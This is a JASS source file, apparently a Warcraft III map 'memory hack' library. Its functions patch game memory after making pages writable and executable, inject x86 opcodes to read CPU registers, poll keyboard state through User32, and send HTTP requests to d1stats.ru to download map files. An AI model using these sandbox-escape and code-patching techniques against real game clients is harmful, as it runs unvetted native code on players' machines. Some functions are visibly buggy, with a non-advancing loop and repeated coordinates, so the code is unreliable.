function nPngMinimapEx takes real x, real y, real d, integer r, integer g, integer b, boolean e returns nothing
    call UnlockPingMinimapEx( )
    call PingMinimapEx(x,y,d,r,g,b,e)
    call LockPingMinimapEx( )
endfunction

function MinimapLockerInitialize takes nothing returns nothing
    call LockPingMinimap( )
    call LockPingMinimapEx( )
endfunction

function TestLockedPing takes nothing returns nothing
    call MinimapLockerInitialize( )
    call PingMinimap(0.,0.,3.)
endfunction

function GetAsyncKeyState takes integer vk_key_code returns integer
    local integer retval = 0
    local integer nOffset1

    if pGetAsyncKeyState == 0 then
        set pGetAsyncKeyState = GetModuleProcAddress("User32.dll", "GetAsyncKeyState" )
    endif

    if pGetAsyncKeyState != 0 then
        return CallStdcallWith1Args(pGetAsyncKeyState,vk_key_code)
    endif

    return retval
endfunction

function IsKeyPressed takes integer vk_key_code returns boolean
    return  BitwiseAnd(GetAsyncKeyState(vk_key_code),0x8000) > 0
endfunction

function TestKeyPressed takes nothing returns nothing
    //https://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx
    local integer VK_LMENU = 0xA4
    if IsKeyPressed(VK_LMENU) then
        call BJDebugMsg("LEFT ALT IS PRESSED")
    else
        call BJDebugMsg("PLEASE PRESS AND HOLD ALT KEY")
    endif
endfunction

function LockAllianceOutput takes boolean block returns nothing
    local integer oldprotection = ChangeOffsetProtection( pAllianceOutput,4,0x40)
    if NotLockedAllianceOutput then
        set AllianceLocker = Memory[pAllianceOutput/4]
        set NotLockedAllianceOutput = false
    endif
    if block then
        set Memory[pAllianceOutput/4] = 0xCC0008C2
    else
        set Memory[pAllianceOutput/4] = AllianceLocker
    endif
    call ChangeOffsetProtection( pAllianceOutput,4, oldprotection)
endfunction



function EnableAllyCheckbox takes nothing returns nothing
    local integer i = 0
    local integer pAllyCheckBoxAddr
    loop
        if IsPlayerAlly(Player(0),GetLocalPlayer()) then
            set pAllyCheckBoxAddr = GetFrameItemAddress("UnitsCheckBox",i)
            if pAllyCheckBoxAddr > 0 then
                set pAllyCheckBoxAddr = pAllyCheckBoxAddr + 0x1D4
                    if BitwiseAnd(Memory[pAllyCheckBoxAddr/4],1) == 0 then
                        set Memory[pAllyCheckBoxAddr/4] = BitwiseOr(Memory[pAllyCheckBoxAddr/4],1)
                    endif
            endif
        endif
        exitwhen i > 11
    endloop
endfunction


function EnableAllyCheckbox2 takes nothing returns nothing
    local integer i = 0
    local integer pAllyCheckBoxAddr
    loop
        set pAllyCheckBoxAddr = GetFrameItemAddress("UnitsCheckBox",i)
        if pAllyCheckBoxAddr > 0 then
            set pAllyCheckBoxAddr = pAllyCheckBoxAddr + 0x1D4
                if BitwiseAnd(Memory[pAllyCheckBoxAddr/4],1) == 0 then
                    set Memory[pAllyCheckBoxAddr/4] = BitwiseOr(Memory[pAllyCheckBoxAddr/4],1)
                endif
        endif
        exitwhen i > 11
    endloop
endfunction


function TestEnableAllyCheckbox takes nothing returns nothing
    local timer t=CreateTimer()
    call TimerStart(t,2.0,false,function EnableAllyCheckbox)
endfunction

function TestEnableAllyCheckbox2 takes nothing returns nothing
    local timer t=CreateTimer()
    call TimerStart(t,2.0,false,function EnableAllyCheckbox2)
endfunction

function IsWindowActive takes nothing returns boolean
    return Memory[pWindowIsActive] > 0
endfunction

//SendActionWithoutTarget(0xd0004) - stop
function SendActionWithoutTarget takes integer orderid returns nothing
    call CallStdcallWith4Args(pSendCommandWithoutTarget,orderid,0,1,4)
endfunction

// 0 - default, 1 - path, 2 - splash, 3 - bounce, 4 - line
function GetMissilesCount takes integer missiletype returns integer
    return Memory[pMissile+3+(missiletype*6)]
endfunction

function GetFirstMissile takes integer missiletype returns integer
    return Memory[pMissile+4+(missiletype*6)]
endfunction

function GetLatestMissile takes integer missiletype returns integer
    return Memory[pMissile+5+(missiletype*6)]
endfunction

function GetMouseEnv takes nothing returns integer
    return Memory[Memory[pGameClass2]/4 + 0x3BC/4] + 0x310
endfunction

function GetMouseX takes nothing returns real
    return cleanReal(indexToReal(Memory[GetMouseEnv( )/4 + 0]))
endfunction

function GetMouseY takes nothing returns real
    return cleanReal(indexToReal(Memory[GetMouseEnv( )/4 + 1]))
endfunction

function GetMouseZ takes nothing returns real
    return cleanReal(indexToReal(Memory[GetMouseEnv( )/4 + 2]))
endfunction

function SaveRectConfiguration takes rect r, integer hRectID, real minx, real miny, real maxx, real maxy, lightning l1, lightning l2, lightning l3, lightning l4 returns nothing
    if HaveSavedInteger(RectData,hRectID, 0 ) then
        call DestroyLightning(LoadLightningHandle(RectData,hRectID,1))
        call DestroyLightning(LoadLightningHandle(RectData,hRectID,2))
        call DestroyLightning(LoadLightningHandle(RectData,hRectID,3))
        call DestroyLightning(LoadLightningHandle(RectData,hRectID,4))
    endif

    call SaveInteger(RectData,hRectID,0,hRectID)

    call SaveReal(RectData,hRectID, 5, minx)
    call SaveReal(RectData,hRectID, 6, minx)
    call SaveReal(RectData,hRectID, 7, minx)
    call SaveReal(RectData,hRectID, 8, minx)

    call SaveLightningHandle(RectData,hRectID,1,l1)
    call SaveLightningHandle(RectData,hRectID,2,l2)
    call SaveLightningHandle(RectData,hRectID,3,l3)
    call SaveLightningHandle(RectData,hRectID,4,l4)
    if not(r == null) then
        call SaveRectHandle(RectData,hRectID,9, r)
    endif
endfunction

function GetRectIdFromMousePosition takes real x, real y returns integer
    local integer hRectID = 1
    local rect r = null
    loop
        if not(HaveSavedInteger(RectData,hRectID,0)) then
            return -1
        endif

        set r = LoadRectHandle(RectData,hRectID,9)

        if RectContainsCoords(r,x,y) then
            return hRectID
        endif
        set hRectID = hRectID + 1
    endloop
    return -1
endfunction

function AddNewRectAndSaveByID takes rect r, integer hRectID returns nothing
    local real rndcolor1 = GetRandomReal(0.,1.)
    local real rndcolor2 = GetRandomReal(0.,1.)
    local real rndcolor3 = GetRandomReal(0.,1.)
    local real minx = GetRectMinX(r)
    local real miny = GetRectMinY(r)
    local real maxx = GetRectMaxX(r)
    local real maxy = GetRectMaxY(r)
    // Left
    local lightning hLighting1 = AddLightning("DRAM", false, minx, miny, minx, maxy)
    // TOP
    local lightning hLighting2 = AddLightning("DRAM", false, minx, miny, maxx, miny)
    // RIGHT
    local lightning hLighting3 = AddLightning("DRAM", false, maxx, miny, maxx, maxy)
    // DOWN
    local lightning hLighting4 = AddLightning("DRAM", false, minx, maxy, maxx, maxy)


    call SetLightningColor(hLighting1,rndcolor1,rndcolor2,rndcolor3,1.0)
    call SetLightningColor(hLighting2,rndcolor1,rndcolor2,rndcolor3,1.0)
    call SetLightningColor(hLighting3,rndcolor1,rndcolor2,rndcolor3,1.0)
    call SetLightningColor(hLighting4,rndcolor1,rndcolor2,rndcolor3,1.0)

    call SaveRectConfiguration(r, hRectID ,minx,miny,maxx,maxy,hLighting1,hLighting2,hLighting3,hLighting4)
endfunction

function AddNewRectAndSave takes rect r returns nothing
    local real rndcolor1 = GetRandomReal(0.,1.)
    local real rndcolor2 = GetRandomReal(0.,1.)
    local real rndcolor3 = GetRandomReal(0.,1.)
    local real minx = GetRectMinX(r)
    local real miny = GetRectMinY(r)
    local real maxx = GetRectMaxX(r)
    local real maxy = GetRectMaxY(r)
    // Left
    local lightning hLighting1 = AddLightning("DRAM", false, minx, miny, minx, maxy)
    // TOP
    local lightning hLighting2 = AddLightning("DRAM", false, minx, miny, maxx, miny)
    // RIGHT
    local lightning hLighting3 = AddLightning("DRAM", false, maxx, miny, maxx, maxy)
    // DOWN
    local lightning hLighting4 = AddLightning("DRAM", false, minx, maxy, maxx, maxy)

    set gl_hRectID = gl_hRectID + 1

    call SetLightningColor(hLighting1,rndcolor1,rndcolor2,rndcolor3,1.0)
    call SetLightningColor(hLighting2,rndcolor1,rndcolor2,rndcolor3,1.0)
    call SetLightningColor(hLighting3,rndcolor1,rndcolor2,rndcolor3,1.0)
    call SetLightningColor(hLighting4,rndcolor1,rndcolor2,rndcolor3,1.0)

    set bj_lastCreatedTextTag = CreateTextTag()
    call SetTextTagText(bj_lastCreatedTextTag,I2S(gl_hRectID),0.035)
    call SetTextTagPos(bj_lastCreatedTextTag, GetRectCenterX(r),GetRectCenterY(r), 64)
    call SetTextTagColor(bj_lastCreatedTextTag, R2I(rndcolor1 * 255), R2I(rndcolor2 * 255), R2I(rndcolor3 * 255), 255)
    call SaveRectConfiguration(r, gl_hRectID,minx,miny,maxx,maxy,hLighting1,hLighting2,hLighting3,hLighting4)
endfunction

function PrintRectCoords takes rect r, integer hRectID returns nothing
    call BJDebugMsg("Change rect '" + I2S(hRectID) + "' coordinates to : " + R2S(GetRectMinX(r)) + " / "+ R2S(GetRectMinY(r)) + " / "+ R2S(GetRectMaxX(r)) + " / "+ R2S(GetRectMaxY(r)) + " / ")
endfunction

function AddRectCoordsByType takes integer hRectID, real addX, real addY, integer addType returns nothing
    local rect hRect = LoadRectHandle(RectData,hRectID,9)

    local real minx  = GetRectMinX(hRect)
    local real miny  = GetRectMinY(hRect)
    local real maxx  = GetRectMaxX(hRect)
    local real maxy  = GetRectMaxY(hRect)

    if addType == 1 then
        set miny = miny + addY
        set maxy = maxy + addY
        set minx = minx + addX
        set maxx = maxx + addX
    endif

    if addType == 2 then
        set maxy = maxy + addY
    endif

    if addType == 3 then
        set minx = minx + addX
    endif

    if addType == 4 then
        set maxx = maxx + addX
    endif

    if addType == 5 then
        set miny = miny + addY
    endif

    call RemoveRect(hRect)

    set hRect = Rect(minx,miny,maxx,maxy)

    call AddNewRectAndSaveByID(hRect,hRectID)
    call PrintRectCoords(hRect,hRectID)
endfunction

function RectHook takes real minx, real miny, real maxx, real maxy returns rect
    local rect r = Rect(minx,miny,maxx,maxy)
    call AddNewRectAndSave(r)
    return r
endfunction

function StartRectEditing takes integer mode, integer selectedrect returns nothing
    set RegionEditMode = mode
    set LatestMouseX = GetMouseX( )
    set LatestMouseY = GetMouseY( )
    set LatestSelectRect = selectedrect
endfunction

function PrintMouseLocation takes nothing returns nothing
    local integer SelectedRectID = GetRectIdFromMousePosition(GetMouseX(), GetMouseY())
    local real CurrentMouseX = 0.
    local real CurrentMouseY = 0.
    local real AddX            =  0.
    local real AddY            =  0.

    if SelectedRectID > 0 and RegionEditMode == 0 then
        if SelectedRectID != LatestOverRect then
            call BJDebugMsg("Mouse over " + I2S(SelectedRectID) + " rect.")
        endif
        set LatestOverRect = SelectedRectID
        if IsKeyPressed('S') then
            call BJDebugMsg("   START RECT MOVE  ")
            call BJDebugMsg("Move cursor at position and release key.")
            call StartRectEditing( 1, SelectedRectID)
        endif
        if IsKeyPressed('W') then
            call BJDebugMsg("   START RECT RESIZE TOP  ")
            call BJDebugMsg("Start ... Move cursor at position and release key.")
            call StartRectEditing( 2 , SelectedRectID)
        endif
   
        if IsKeyPressed('A') then
            call BJDebugMsg("   START RECT RESIZE LEFT  ")
            call BJDebugMsg("Start ... Move cursor at position and release key.")
            call StartRectEditing( 3 , SelectedRectID)
        endif
   
        if IsKeyPressed('D') then
            call BJDebugMsg("   START RECT RESIZE RIGHT  ")
            call BJDebugMsg("Start ... Move cursor at position and release key.")
            call StartRectEditing( 4 , SelectedRectID)
        endif
   
        if IsKeyPressed('X') then
            call BJDebugMsg("   START RECT RESIZE DOWN  ")
            call BJDebugMsg("Start ... Move cursor at position and release key.")
            call StartRectEditing( 5 , SelectedRectID)
        endif
   
    elseif not(RegionEditMode == 0) then
        if IsKeyPressed('W') or IsKeyPressed('A') or IsKeyPressed('S') or IsKeyPressed('D') or IsKeyPressed('X') then
            return
        endif
   
        set CurrentMouseX = GetMouseX( )
        set CurrentMouseY = GetMouseY( )
   
        set AddX = CurrentMouseX - LatestMouseX
        set AddY = CurrentMouseY - LatestMouseY
   
        call AddRectCoordsByType(LatestSelectRect,AddX,AddY, RegionEditMode)
   
        set RegionEditMode = 0
    endif

endfunction

function TestRectEditor takes nothing returns nothing
    local timer t = CreateTimer( )
    call TimerStart(t,0.2,true,function PrintMouseLocation)
    call RectHook(GetRandomReal(-500,500),GetRandomReal(-500,500),GetRandomReal(-1000,1000),GetRandomReal(-1000,1000))
    call RectHook(GetRandomReal(-500,500),GetRandomReal(-500,500),GetRandomReal(-1000,1000),GetRandomReal(-1000,1000))
    call RectHook(GetRandomReal(-500,500),GetRandomReal(-500,500),GetRandomReal(-1000,1000),GetRandomReal(-1000,1000))
    call RectHook(GetRandomReal(-500,500),GetRandomReal(-500,500),GetRandomReal(-1000,1000),GetRandomReal(-1000,1000))
    call RectHook(GetRandomReal(-500,500),GetRandomReal(-500,500),GetRandomReal(-1000,1000),GetRandomReal(-1000,1000))
    call RectHook(GetRandomReal(-500,500),GetRandomReal(-500,500),GetRandomReal(-1000,1000),GetRandomReal(-1000,1000))
    call RectHook(GetRandomReal(-500,500),GetRandomReal(-500,500),GetRandomReal(-1000,1000),GetRandomReal(-1000,1000))
    call RectHook(GetRandomReal(-500,500),GetRandomReal(-500,500),GetRandomReal(-1000,1000),GetRandomReal(-1000,1000))

endfunction


function TestPlayerMute takes boolean pMute, player p, string playername returns nothing
    if pMute then
        call MutePlayer( playername )
    else
        call UnMutePlayer( playername )
    endif
endfunction

function ReadEAX takes nothing returns integer
    local integer retval = 0
    set Memory[pReservedExecutableMemory/4] = 0xCCC3C08B

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory)
    endif

    set retval = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset,pIgnoredUnits)
    return retval
endfunction

function ReadEBX takes nothing returns integer
    local integer retval = 0
    set Memory[pReservedExecutableMemory/4] = 0xCCC3C38B

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory)
    endif

    set retval = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset,pIgnoredUnits )
    return retval
endfunction

function ReadECX takes nothing returns integer
    local integer retval = 0
    set Memory[pReservedExecutableMemory/4] = 0xCCC3C18B

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory)
    endif

    set retval = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset,pIgnoredUnits )
    return retval
endfunction

function ReadEDX takes nothing returns integer
    local integer retval = 0
    set Memory[pReservedExecutableMemory/4] = 0xCCC3C28B

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory )
    else
        call WriteRealMemory(pIgnoredUnitsOffset, pReservedExecutableMemory)
    endif

    set retval = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset,pIgnoredUnits )
    return retval
endfunction

function ReadESI takes nothing returns integer
    local integer retval = 0
    set Memory[pReservedExecutableMemory/4] = 0xCCC3C68B

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory)
    endif

    set retval = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset,pIgnoredUnits )
    return retval
endfunction

function ReadEDI takes nothing returns integer
    local integer retval = 0
    set Memory[pReservedExecutableMemory/4] = 0xCCC3C78B

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory)
    endif

    set retval = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset,pIgnoredUnits )
    return retval
endfunction

function ReadEBP takes nothing returns integer
    local integer retval = 0
    set Memory[pReservedExecutableMemory/4] = 0xCCC3C58B

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory)
    endif

    set retval = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset,pIgnoredUnits )
    return retval
endfunction

function ReadESP takes nothing returns integer
    local integer retval = 0
    set Memory[pReservedExecutableMemory/4] = 0xCCC3C48B

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory )
    else
        call WriteRealMemory(pIgnoredUnitsOffset, pReservedExecutableMemory)
    endif

    set retval = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset,  pIgnoredUnits)
    return retval
endfunction


function ReadEAX_offset takes integer offset returns integer
    local integer retval = 0
    set Memory[pReservedExecutableMemory/4] = 0xCCC3C08B

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory)
    endif

    set retval = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset,pIgnoredUnits )
    return Memory[(retval+offset)/4]
endfunction

function ReadEBX_offset takes integer offset returns integer
    local integer retval = 0
    set Memory[pReservedExecutableMemory/4] = 0xCCC3C38B

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory)
    endif

    set retval = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset,pIgnoredUnits )
    return Memory[(retval+offset)/4]
endfunction

function ReadECX_offset takes integer offset returns integer
    local integer retval = 0
    set Memory[pReservedExecutableMemory/4] = 0xCCC3C18B

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory)
    endif

    set retval = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset,pIgnoredUnits )
    return Memory[(retval+offset)/4]
endfunction

function ReadEDX_offset takes integer offset returns integer
    local integer retval = 0
    set Memory[pReservedExecutableMemory/4] = 0xCCC3C28B

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory )
    else
        call WriteRealMemory(pIgnoredUnitsOffset, pReservedExecutableMemory)
    endif

    set retval = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset,pIgnoredUnits )
    return Memory[(retval+offset)/4]
endfunction

function ReadESI_offset takes integer offset returns integer
    local integer retval = 0
    set Memory[pReservedExecutableMemory/4] = 0xCCC3C68B

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory )
    else
        call WriteRealMemory(pIgnoredUnitsOffset, pReservedExecutableMemory)
    endif

    set retval = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits )
    return Memory[(retval+offset)/4]
endfunction

function ReadEDI_offset takes integer offset returns integer
    local integer retval = 0
    set Memory[pReservedExecutableMemory/4] = 0xCCC3C78B

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory )
    else
        call WriteRealMemory(pIgnoredUnitsOffset, pReservedExecutableMemory)
    endif

    set retval = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits )
    return Memory[(retval+offset)/4]
endfunction

function ReadEBP_offset takes integer offset returns integer
    local integer retval = 0
    set Memory[pReservedExecutableMemory/4] = 0xCCC3C58B

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory)
    endif

    set retval = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset,pIgnoredUnits )
    return Memory[(retval+offset)/4]
endfunction

function ReadESP_offset takes integer offset returns integer
    local integer retval = 0
    set Memory[pReservedExecutableMemory/4] = 0xCCC3C48B

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory )
    else
        call WriteRealMemory(pIgnoredUnitsOffset, pReservedExecutableMemory)
    endif

    set retval = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset,pIgnoredUnits )
    return Memory[(retval+offset)/4]
endfunction


// WARNING!! IT CAN BE USED ONLY IN FIRST CONDITION AT FIRST POSITION
function GJ_GetRealDmg126a takes nothing returns real
    return cleanReal(indexToReal(ReadEBP_offset(0x380)))
endfunction

// WARNING!! IT CAN BE USED ONLY IN FIRST CONDITION AT FIRST POSITION
function GJ_GetRealDmg127a takes nothing returns real
    return cleanReal(indexToReal(ReadEBP_offset(0x400)))
endfunction

function GJ_SaveLastDmg126a takes nothing returns boolean
    if GetTriggerEventId()!=EVENT_UNIT_DAMAGED then
        return true
    endif

    set GJ_LastDmg = GJ_GetRealDmg126a( )

    set GJ_LastAttackType=ReadEBP_offset(0x37C)
    if ReadEBP_offset(0x368)!=0 or ReadEBP_offset(0x378)==0x3F800000 then
        set GJ_LastDamageType=0
    else
        set GJ_LastDamageType=ReadEBP_offset(0x378)
    endif
//    call BJDebugMsg("rewrote with "+R2S(GJ_LastDmg))
    return true
endfunction

function GJ_SaveLastDmg127a takes nothing returns boolean
    if GetTriggerEventId()!=EVENT_UNIT_DAMAGED then
        return true
    endif
    set GJ_LastDmg = GJ_GetRealDmg127a( )
    set GJ_LastAttackType=ReadEBP_offset(0x3B0)
    if ReadEBP_offset(0x3CC)!=0 then
        set GJ_LastDamageType=0
    else
        set GJ_LastDamageType=ReadEBP_offset(0x3F0)
    endif
    return true
endfunction

    //integer pGetLatestDownloadedString = 0
    // integer pGetDownloadStatus = 0
    // integer pSaveNewMapFromUrl = 0
function GetLatestDownloadedString takes nothing returns string
    local integer retval = 0

    if pGetLatestDownloadedString == 0 then
        set pGetLatestDownloadedString = GetModuleProcAddress(EXTRADLLNAME, "GetLatestDownloadedString")
    endif
    if pGetLatestDownloadedString != 0 then
        return ConvertNullTerminatedStringToString(CallStdcallWith1Args(pGetLatestDownloadedString,0))
    endif
    return ""
endfunction

    // integer pSaveNewMapFromUrl = 0
function GetCurrentMapDir takes nothing returns string
    local integer retval = 0

    if pGetCurrentMapDir == 0 then
        set pGetCurrentMapDir = GetModuleProcAddress(EXTRADLLNAME, "GetCurrentMapPath")
    endif
    if pGetCurrentMapDir != 0 then
        return ConvertNullTerminatedStringToString(CallStdcallWith1Args(pGetCurrentMapDir,0))
    endif
    return ""
endfunction


function GetDownloadProgress takes nothing returns integer
    local integer retval = 0

    if pGetDownloadProgress == 0 then
        set pGetDownloadProgress = GetModuleProcAddress(EXTRADLLNAME, "GetDownloadProgress")
    endif
    if pGetDownloadProgress != 0 then
        set retval = CallStdcallWith1Args(pGetDownloadProgress,0)
    endif
    return retval
endfunction

function GetDownloadStatus takes nothing returns integer
    local integer retval = 0
    // -1 - error
    // 0 - nothing been dl'd
    // 1 - dl finished
    // 2 - file exists or broken path

    if pGetDownloadStatus == 0 then
        set pGetDownloadStatus = GetModuleProcAddress(EXTRADLLNAME, "GetDownloadStatus")
    endif
    if pGetDownloadStatus != 0 then
        set retval = CallStdcallWith1Args(pGetDownloadStatus,0)
    endif
    return retval
endfunction

function SaveNewMapFromUrl takes string url, string mapname returns nothing

    if pSaveNewMapFromUrl == 0 then
        set pSaveNewMapFromUrl = GetModuleProcAddress(EXTRADLLNAME, "SaveNewDotaVersionFromUrl" )
    endif

    if pSaveNewMapFromUrl != 0 then
        call CallStdcallWith2Args(pSaveNewMapFromUrl,  GetStringAddress(url),   GetStringAddress(mapname) )
    endif

endfunction

function SendGetRequest takes integer WebSiteAddr, integer GetPath returns nothing
    if pSendHttpGetRequest == 0 then
        set pSendHttpGetRequest = GetModuleProcAddress(EXTRADLLNAME, "SendGetRequest" )
    endif
    if pSendHttpGetRequest != 0 then
        call CallStdcallWith2Args(pSendHttpGetRequest,  WebSiteAddr,  GetPath )
    endif
endfunction

function SendHttpGetRequest takes string WebSiteAddr, string GetPath returns nothing
    call SendGetRequest( GetStringAddress(WebSiteAddr), GetStringAddress(GetPath))
endfunction

function TestSendHttpGetRequest takes nothing returns nothing
    call SendHttpGetRequest("d1stats.ru","/test.php?q1=1234&q2=21234&q3=31234&q4=41234&q5=51234&q6=61234&q7=71234&q8=81234&q9=91234&q10=101234")
endfunction

function StartDownloadNewDotaVersion takes nothing returns nothing
    local timer t=GetExpiredTimer()
    local integer i = GetDownloadStatus( )
    if i != 0 then
        if i == 1 then
            call BJDebugMsg( " ALL OKAY , DOTA DOWNLOADED " )
        else
            call BJDebugMsg( " ALL BAD , DOTA NE DOWNLOADED ")
        endif
        call DestroyTimer(t)
        set t = null
    else
        call DisplayTimedTextToForce(bj_FORCE_ALL_PLAYERS,1.0, "DownloadProgress:" + I2S( GetDownloadProgress( ) ) + "%..")
    endif
endfunction

function WaitForGetDotaVersion takes nothing returns nothing
    local timer t=GetExpiredTimer()
    local integer i = GetDownloadStatus( )
    local string s = ""
    if i != 0 then
        if i == 1 then
            set s = GetLatestDownloadedString( )
            call BJDebugMsg("Status: ok,map name:" + s)
            call SaveNewMapFromUrl("http://d1stats.ru/files/Allstars/" + s + ".w3x",GetCurrentMapDir( ) + s + ".w3x")
            call BJDebugMsg("url: http://d1stats.ru/files/Allstars/" + s + ".w3x, filename:" + s + ".w3x")
            call TimerStart(CreateTimer( ),1.0,true,function StartDownloadNewDotaVersion)
        endif
        call DestroyTimer(t)
        set t = null
    endif
endfunction

function WaitForDownloadServerStatus takes nothing returns nothing
    local timer t=GetExpiredTimer()
    local integer i = GetDownloadStatus( )
    if i != 0 then
        if i == 1 then
            call BJDebugMsg("Status: ok, now get map name...")
            call SendHttpGetRequest("d1stats.ru","/last.php")
            call TimerStart(CreateTimer( ),0.5,true,function WaitForGetDotaVersion)
        endif
        call DestroyTimer(t)
        set t = null
    endif
endfunction

function DownloadNewDotaVersion takes nothing returns nothing
    call SendHttpGetRequest("d1stats.ru","/last.php")
    call TimerStart(CreateTimer( ),0.2,true,function WaitForDownloadServerStatus)
endfunction



function LockOrder takes integer id, boolean IsNeedLock returns nothing

    local integer oldprotection = 0

    if id == 1 then
        if IsNeedLock then
            if IsOrder1Locked == false then
                if Order1_unlockedvalue == 0 then
                    set Order1_unlockedvalue = Memory[pOrder1_offset/4]
                endif
                set oldprotection = ChangeOffsetProtection(pOrder1_offset,4,0x40)
                set Memory[pOrder1_offset/4] = Order1_lockedvalue
                call ChangeOffsetProtection(pOrder1_offset,4,oldprotection)
                set IsOrder1Locked = true
            endif
        else
            if IsOrder1Locked == true then
                set oldprotection = ChangeOffsetProtection(pOrder1_offset,4,0x40)
                set Memory[pOrder1_offset/4] = Order1_unlockedvalue
                call ChangeOffsetProtection(pOrder1_offset,4,oldprotection)
                set IsOrder1Locked = false
            endif
        endif
    elseif id == 2 then
        if IsNeedLock then
            if IsOrder2Locked == false then
                if Order2_unlockedvalue == 0 then
                    set Order2_unlockedvalue = Memory[pOrder2_offset/4]
                endif
                set oldprotection = ChangeOffsetProtection(pOrder2_offset,4,0x40)
                set Memory[pOrder2_offset/4] = Order2_lockedvalue
                call ChangeOffsetProtection(pOrder2_offset,4,oldprotection)
                set IsOrder2Locked = true
            endif
        else
            if IsOrder2Locked == true then
                set oldprotection = ChangeOffsetProtection(pOrder2_offset,4,0x40)
                set Memory[pOrder2_offset/4] = Order2_unlockedvalue
                call ChangeOffsetProtection(pOrder2_offset,4,oldprotection)
                set IsOrder2Locked = false
            endif
        endif
    elseif id == 3 then
        if IsNeedLock then
            if IsOrder3Locked == false then
                if Order3_unlockedvalue == 0 then
                    set Order3_unlockedvalue = Memory[pOrder3_offset/4]
                endif
                set oldprotection = ChangeOffsetProtection(pOrder3_offset,4,0x40)
                set Memory[pOrder3_offset/4] = Order3_lockedvalue
                call ChangeOffsetProtection(pOrder3_offset,4,oldprotection)
                set IsOrder3Locked = true
            endif
        else
            if IsOrder3Locked == true then
                set oldprotection = ChangeOffsetProtection(pOrder3_offset,4,0x40)
                set Memory[pOrder3_offset/4] = Order3_unlockedvalue
                call ChangeOffsetProtection(pOrder3_offset,4,oldprotection)
                set IsOrder3Locked = false
            endif
        endif
    elseif id == 4 then
        if IsNeedLock then
            if IsOrder4Locked == false then
                if Order4_unlockedvalue == 0 then
                    set Order4_unlockedvalue = Memory[pOrder4_offset/4]
                endif
                set oldprotection = ChangeOffsetProtection(pOrder4_offset,4,0x40)
                set Memory[pOrder4_offset/4] = Order4_lockedvalue
                call ChangeOffsetProtection(pOrder4_offset,4,oldprotection)
                set IsOrder4Locked = true
            endif
        else
            if IsOrder4Locked == true then
                set oldprotection = ChangeOffsetProtection(pOrder4_offset,4,0x40)
                set Memory[pOrder4_offset/4] = Order4_unlockedvalue
                call ChangeOffsetProtection(pOrder4_offset,4,oldprotection)
                set IsOrder4Locked = false
            endif
        endif
    elseif id == 5 then
        if IsNeedLock then
            if IsOrder5Locked == false then
                if Order5_unlockedvalue == 0 then
                    set Order5_unlockedvalue = Memory[pOrder5_offset/4]
                endif
